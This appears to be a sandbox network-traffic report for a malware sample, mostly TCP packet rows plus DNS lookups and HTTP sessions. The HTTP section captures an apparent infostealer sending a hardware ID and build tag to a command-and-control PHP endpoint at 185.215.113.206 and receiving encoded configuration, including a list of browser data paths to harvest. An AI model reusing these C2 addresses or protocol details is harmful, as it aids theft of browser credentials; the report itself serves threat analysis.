Dec 7, 2024 18:27:05.264873028 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.265527964 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.265575886 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.265707016 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.265719891 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.265768051 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.266364098 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.266405106 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.266546011 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.266558886 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.266585112 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.266603947 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.267218113 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.267263889 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.267370939 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.267385006 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.267410994 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.267435074 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.268155098 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.268198013 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.268330097 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.268342972 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.268367052 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.268387079 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.268970966 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.269012928 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.269179106 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.269191980 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.269222975 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.269238949 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.269859076 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.269897938 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.269994020 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.270006895 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.270030975 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.270045996 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.270652056 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.270697117 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.270814896 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.270828009 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.270869017 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.271483898 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.271522999 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.271651983 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.271665096 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.271704912 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.272367001 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.272420883 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.272512913 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.272526979 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.272557974 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.272594929 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.273246050 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.273287058 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.273374081 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.273387909 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.273416042 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.273432016 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.274085999 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.274138927 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.274231911 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.274245977 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.274271011 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.274287939 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.274903059 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.274943113 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.275044918 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.275058985 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.275088072 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.275099993 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.275752068 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.275799036 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.275901079 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.275918961 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.275943995 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.275969982 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.276617050 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.276664972 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.276868105 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.276911974 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.277038097 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.277056932 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.277081966 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.277097940 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.277734995 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.277779102 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.277894974 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.277909040 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.277937889 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.277954102 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.278600931 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.278656006 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.278784990 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.278804064 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.278830051 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.278844118 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.279453993 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.279500008 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.279628038 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.279642105 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.279678106 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.280370951 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.280416965 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.280854940 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.280867100 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.280900002 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.280920982 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.281229973 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.281246901 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.281260967 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.281266928 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.281284094 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.281303883 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.282041073 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.282087088 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.282210112 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.282227993 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.282250881 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.282263994 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.282933950 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.282974958 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.283071041 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.283083916 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.283107996 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.283123016 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.283792973 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.283840895 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.284051895 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.284095049 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.285566092 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.285614967 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.285799026 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.285811901 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.285851955 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.286145926 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.286190987 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.286268950 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.286319017 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.286536932 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.286549091 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.286587954 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.287000895 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.287060976 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.302237034 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:27:05.302290916 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:27:05.448506117 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.448590040 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.448651075 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.448663950 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.448693037 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.448709011 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.449079037 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.449120045 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.449353933 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.449367046 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.449398041 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.449413061 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.449737072 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.449775934 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.449898958 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.449937105 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.450166941 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.450179100 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.450203896 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.450216055 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.450750113 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.450798035 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.450927973 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.450939894 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.450989008 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.451630116 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.451679945 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.451822996 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.451836109 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.451872110 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.452492952 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.452538967 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.452636003 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.452647924 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.452682972 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.453397036 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.453444004 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.453538895 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.453552008 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.453583002 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.454210043 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.454255104 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.454350948 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.454365015 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:05.454392910 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.454401016 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:05.455025911 CET	80	49831	185.215.113.16	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 7, 2024 18:26:19.578680038 CET	192.168.2.7	1.1.1.1	0x524f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 18:26:19.579108000 CET	192.168.2.7	1.1.1.1	0x9434	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 7, 2024 18:26:26.474348068 CET	192.168.2.7	1.1.1.1	0x5238	Standard query (0)	ogs.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 18:26:26.474510908 CET	192.168.2.7	1.1.1.1	0x26e7	Standard query (0)	ogs.google.com	65	IN (0x0001)	false
Dec 7, 2024 18:26:26.498858929 CET	192.168.2.7	1.1.1.1	0xe252	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 18:26:26.499131918 CET	192.168.2.7	1.1.1.1	0x19a1	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 7, 2024 18:26:27.476814985 CET	192.168.2.7	1.1.1.1	0x4278	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 18:26:27.477005959 CET	192.168.2.7	1.1.1.1	0x3251	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 7, 2024 18:27:47.657499075 CET	192.168.2.7	1.1.1.1	0xcf00	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 7, 2024 18:27:56.612482071 CET	192.168.2.7	1.1.1.1	0x115c	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 7, 2024 18:26:19.722498894 CET	1.1.1.1	192.168.2.7	0x524f	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 7, 2024 18:26:19.722560883 CET	1.1.1.1	192.168.2.7	0x9434	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 7, 2024 18:26:26.615545988 CET	1.1.1.1	192.168.2.7	0x26e7	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 18:26:26.617670059 CET	1.1.1.1	192.168.2.7	0x5238	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 18:26:26.617670059 CET	1.1.1.1	192.168.2.7	0x5238	No error (0)	www3.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 7, 2024 18:26:26.638544083 CET	1.1.1.1	192.168.2.7	0xe252	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 18:26:26.638544083 CET	1.1.1.1	192.168.2.7	0xe252	No error (0)	plus.l.google.com		142.250.201.14	A (IP address)	IN (0x0001)	false
Dec 7, 2024 18:26:26.640029907 CET	1.1.1.1	192.168.2.7	0x19a1	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 18:26:27.615293980 CET	1.1.1.1	192.168.2.7	0x4278	No error (0)	play.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 7, 2024 18:27:47.794413090 CET	1.1.1.1	192.168.2.7	0xcf00	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 7, 2024 18:27:47.794413090 CET	1.1.1.1	192.168.2.7	0xcf00	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Dec 7, 2024 18:27:47.794413090 CET	1.1.1.1	192.168.2.7	0xcf00	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Dec 7, 2024 18:27:57.251898050 CET	1.1.1.1	192.168.2.7	0x115c	No error (0)	atten-supporse.biz		104.21.16.9	A (IP address)	IN (0x0001)	false
Dec 7, 2024 18:27:57.251898050 CET	1.1.1.1	192.168.2.7	0x115c	No error (0)	atten-supporse.biz		172.67.165.166	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	185.215.113.206	80	7308	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 18:26:11.153733015 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 18:26:12.487263918 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 18:26:12.492028952 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 46 34 41 34 43 46 37 31 45 34 43 32 38 31 37 30 31 38 37 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 2d 2d 0d 0a Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="hwid"6F4A4CF71E4C2817018708------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="build"stok------JKJEHJKJEBGHJJKEBGIE--
Dec 7, 2024 18:26:12.941809893 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 51 35 59 32 4d 79 4f 54 45 32 4d 6a 6b 78 4e 6a 6b 33 59 57 4d 34 59 54 4a 69 59 6a 41 79 5a 6a 64 6d 4d 6a 55 31 4d 6a 5a 6b 5a 54 49 31 4e 44 63 35 59 7a 6b 78 4e 6d 45 77 59 6a 52 6c 59 32 59 33 4d 44 4a 6a 5a 57 4d 77 4e 7a 41 79 59 6d 4a 6b 4d 7a 51 33 59 32 4e 6c 59 7a 68 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NjQ5Y2MyOTE2MjkxNjk3YWM4YTJiYjAyZjdmMjU1MjZkZTI1NDc5YzkxNmEwYjRlY2Y3MDJjZWMwNzAyYmJkMzQ3Y2NlYzhlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 7, 2024 18:26:12.943329096 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="message"browsers------HJDHCFCBGIDGHJJKJJDG--
Dec 7, 2024 18:26:13.414510012 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2ND